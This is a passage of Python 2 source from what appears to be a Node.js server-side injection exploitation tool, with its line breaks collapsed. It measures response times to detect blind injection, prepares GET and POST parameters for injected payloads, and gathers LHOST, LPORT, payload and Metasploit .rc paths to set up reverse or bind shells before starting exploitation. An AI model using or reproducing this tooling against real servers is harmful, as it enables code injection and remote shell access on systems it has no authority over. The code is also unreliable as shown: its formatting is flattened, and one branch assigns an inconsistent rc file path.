urllib2.Request( settings.pre_url, data=settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 1 # Check also for redirection for malicious request if index < 1: interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) try: start_time = time.time() html = urllib2.urlopen(post_request).read() end_time = time.time() - start_time request_time = end_time except HTTPError, e: print '[i] ERROR: The server couldn\'t fulfill the request! First of all, check if the given URL is correct. In case you injected any payload on your request, server seems to interact with it so, it might be vulnerable. In this case check payload txt files for syntax errors and try again. Else, service might be down.' print '[i] ERROR: %s' % e verbosity.error_info(e) html = e.read() #print html blind_injection_flag = 0 continue message = Style.DIM + "[-] Request no. %s -> %f seconds" % ( index, request_time) verbosity.print_message(message, settings.print_info) if blind_injection_flag == 1: check_blind_injection(request_time) amount += request_time
def request_method(): try: #POST & POST with GET PARAMETERS BLENDED! if settings.pdata != 'None': message = (Fore.GREEN + Style.BRIGHT + '[i] POST data found!') verbosity.print_message(message, settings.print_info) #tempurl_array = settings.url.split("/") # check if both get and post inserted if "?" in settings.url: # Ask to remove query parameter(s) prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Query parameter(s) found on POST request. Do you want to remove query request(s) from URL?\n" options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" if settings.print_info == 1: prompt_message += options_message yes_message = Style.DIM + Fore.WHITE + "[-] Removing query parameters." no_message = Style.DIM + Fore.WHITE + "[-] Continue with query parameters." answer = prompt.yesOrNo(prompt_message, yes_message, no_message) # Remove case if answer[1] == 1: tempurl_array = settings.url.split("?") url_length = len(tempurl_array) - 1 edited_url = concat_url(url_length, tempurl_array) settings.url = edited_url print answer[0] message = ( Fore.WHITE + Style.DIM + '[-] Will execute POST REQUESTS on "%s" with POST DATA "%s"' % (settings.url, settings.pdata)) verbosity.print_message(message, settings.print_info) # URL - (pre_url and url are the same on post scenario) settings.pre_url = settings.url # inject_here and pdata are the same on post scenario settings.initial_inject_here = settings.pdata settings.inject_here = settings.pdata settings.initial_parameter = settings.pdata settings.request_method = 1 #GET else: # split get parameters from url print(Fore.GREEN + Style.BRIGHT + '[i] GET parameter found!') message = (Style.DIM + Fore.WHITE + '[-] Will execute GET REQUESTS on "' + settings.url + '".') verbosity.print_message(message, settings.print_info) tempurl_array = settings.url.split("?") # URL without the get parameters settings.pre_url = tempurl_array[0] # GET parameters - with [INJECT_HERE] settings.initial_inject_here = tempurl_array[1] settings.inject_here = tempurl_array[1] # Whole URL - with [INJECT_HERE] settings.initial_parameter = settings.url settings.pdata = settings.initial_parameter settings.request_method = 0 except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def initialize_payload_options(start): try: # If some/all variables are not defined message = Fore.YELLOW + '[<] Initialize exploitation variables.' verbosity.print_message(message, settings.print_info) # Reverse shell case if settings.lhost == 'None' and settings.msf_payload != settings.msf_payload_bind: message = Fore.RED + '[!] LHOST not defined!' verbosity.print_message(message, settings.print_info) settings.lhost = str( payload_init.get_input( "[?] Please, set your local host ip.\n - ", "LHOST")) # Bind shell case if settings.msf_payload == settings.msf_payload_bind: rhost = settings.pre_url.rsplit(":", 1) settings.prefix_rhost = rhost[0] rhost_without_http = rhost[0].split("/") settings.rhost = rhost_without_http[2] message = Fore.GREEN + "[!] Setting automatically remote host: 'RHOST' = " + settings.rhost verbosity.print_message(message, settings.print_info) if settings.lport == 'None': message = Fore.RED + '[!] LPORT not defined!' verbosity.print_message(message, settings.print_info) settings.lport = str( payload_init.get_input("[?] Please, set your local port.\n - ", "LPORT")) else: input_answer = settings.lport settings.lport = payload_init.checkLPORT(input_answer) if settings.payload_path == 0: message = Fore.RED + '[!] PAYLOAD PATH not defined!' verbosity.print_message(message, settings.print_info) payload_path = payload_init.get_input( "[?] Please, set the PAYLOAD PATH.\n - ", "PAYLOAD PATH") settings.payload_path = '%s/nodejs_payload.js' % payload_path settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) print settings.payload_path else: input_answer = settings.payload_path payload_path = settings.payload_path settings.payload_path = '%s/nodejs_payload.js' % payload_path settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) if settings.rc_path == 0: message = Fore.RED + '[!] .RC SCRIPT PATH not defined!' verbosity.print_message(message, settings.print_info) rc_path = payload_init.get_input( "[?] Please, set the .RC SCRIPT PATH.\n - ", "RC SCRIPT PATH") settings.rc_path = '%s/nodejs_payload.js' % rc_path settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) print settings.rc_path else: input_answer = settings.rc_path rc_path = settings.rc_path settings.rc_path = '%s/nodejs_shell.rc' % rc_path settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) if settings.encoding[0] == 'None': message = Fore.RED + '[!] ENCODING not defined!' verbosity.print_message(message, settings.print_info) while settings.encoding[0] == 'None': settings.encoding = prompt.yesOrNo( "[?] Please, type a valid value for payload encoding.\n" + Fore.YELLOW + "[i] Enter 'y' for 'yes' or 'n' for 'no'.\n" + Fore.WHITE + " - ", Fore.GREEN + "[i] Payload will be encoded..", Fore.GREEN + "[i] Payload will be unecoded") # End process message = Fore.GREEN + '[!] Exploitation variables successfully defined!\n' + Fore.YELLOW + '[>]' verbosity.print_message(message, settings.print_info) if start == True: start_exploitation() except Exception as e: print(e) print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)